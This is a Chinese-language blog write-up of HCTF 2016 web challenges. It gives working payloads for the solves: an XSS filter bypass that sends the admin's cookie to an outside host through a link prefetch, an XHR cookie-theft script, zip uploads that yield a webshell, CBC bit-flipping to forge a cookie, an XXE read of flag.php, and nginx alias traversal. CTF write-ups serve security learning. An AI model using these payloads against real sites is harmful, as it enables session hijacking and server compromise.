hctf 2016 web writeup - Blog of Mathias
Blog of Mathias Web Securtiy&Deep Learning
hctf 2016 web writeup
发表于: | 分类: web安全 | 评论:1 | 阅读:1,793

一人撸了6道web,虽然熬了个通宵,还算不亏

===========================================================================================

guestbook

验证码直接用python暴力跑md5就可以了。看留言板的信息,首先过滤了一次敏感关键字,用scscriptript的方式就绕过了;csp限制了脚本只能访问自身域下的资源吗,但是csp的script src
规定了unsafe-inline模式。参照大蘑菇的文章,因此可以使用

<link prefetch="xxx.com" />

的方式来把cookies传递出去。这里构造payload如下:

document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var xx = document.createElement("link");
xx.setAttribute("rel", "prefetch");
xx.setAttribute("href", "//www.math1as.com/xxx.php?var=" + document.cookie);
document.head.appendChild(xx);

收到了管理员的cookies,最终访问得到flag。

===========================================================================================

大图书馆的牧羊人

/.git/目录存在,并且提示403,直接使用git hack工具拖下整套web源码。审计后发现了user的加密密钥,构造出admin的cookies:
_icavZOMQYJWReJtLoC0RgT1NJbIzA5pudRrrGYSxhY
紧接下来进入后台后,审计源码,发现上传zip后会自动被解压到uploads目录下。于是上传包含php文件的压缩包,即可获得webshell,之后读取flag.php的内容,获得了flag:
hctf{Serena_is_the_leading_role}

===========================================================================================

secret area
和guestbook很类似,只是有所转变。登陆后发现重定向的地址是
/static/redirect.php
,使用了302重定向。试着构造crlf无果,看上传也没有明显漏洞,于是继续构造发消息的xss。csp限制了只能执行
/static/
目录下的脚本,于是想着用redirect构造跳转到upload目录下的文件,上传文件时再把document.cookie发给自己的用户。
构造payload如下

var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","submit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("to=mathias50&message="+document.cookie);

发送给admin用户如下信息

<scrscriptipt src="http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/aa2b0f8a88dd7589496fade78ace511c"></scrscriptipt>

成功获得cookies,登陆admin用户后得到flag

===========================================================================================

魔法禁书目录

源码和大图书馆的牧羊人是一样的,因此直接审计,发现使用了aes算法对cookie的user值进行加密。但是很不幸的是,它对其使用了CBC加密模式,而且我们可以修改密文,所以这里进行byte反转攻击。
首先注册用户名为
admin10
,查阅php手册,确定加密函数使用的padding为0x00后,把IV向量(长度为16)全部替换为0XFF,确定了密文的中间值。然后把IV替换为
中间值 xor IV=0x00
的值,构造出的cookies为

H-MccSpTwOy3w6GusmPep1cQb2JzmMdchj-v3mDeYgk

接下来需要访问login.php使session生效,然后看上传图书功能,这次直接上传php,但无法生效了,被注释。于是查看图书epub的格式,发现其实就是zip压缩后,由里面的xml决定格式,那么构造payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ 
<!ENTITY hello SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1">
   <head>
      <meta name="dtb:uid" content="bookid"/>
      <meta name="dtb:depth" content="0"/>
      <meta name="dtb:totalPageCount" content="0"/>
      <meta name="dtb:maxPageNumber" content="0"/>
   </head>
   <docTitle>
      <text>UnKnown</text>
   </docTitle>
   <navMap>
      <navPoint id="content" playOrder="1">
         <navLabel>
           <text>&hello;</text>
         </navLabel>
         <content src="TxtToHtml_11004.html"/>
      </navPoint>   </navMap>
</ncx>

成功获得flag
hctf{Lillie_is_comming}

===========================================================================================

跑得比香港记者还快
README.md提供了提示,注册用户后,还需要跟着一个降权的操作,这里其实就是一个时间竞争了。直接用脚本跑若干个1s后,出flag

1.png

===========================================================================================

进入站点,发现是一个文件上传类型的题目。那么fp决定了可以包含的文件名,在后面加上了'.php'的限制,不过可以使用php://filter来读源码,查看到了所有php的源代码。

2.png

直接上传一个压缩包,将其重命名为png,然后包含wrapper zip://uploads/xxx.png%23xx.php
getshell后,在上层目录找到flag文件。可见flag为
hctf{Th1s_1s_e4sY_1s_n0T_1t?}

===========================================================================================

另外AT field等题目不是自己做的,简单说下额外收获
差不多仍然是ssrf的思路
不过技巧是[ip].xip.io这个域名也可以用这样的方式来请求
www.[ip].xip.io
然后第2关是nginx的一个default.conf造成的目录越权问题
简单的说 定义了目录 /www 为 /var/www/
这样如果构造访问 ip/www../ 的话
因为就是一个简单的替换,就会造成最终访问到了/var/www/../
为什么不直接访问 ../ ? 你傻啊,url这样访问是肯定不行的,会自动的弹到web目录的最顶层

添加新评论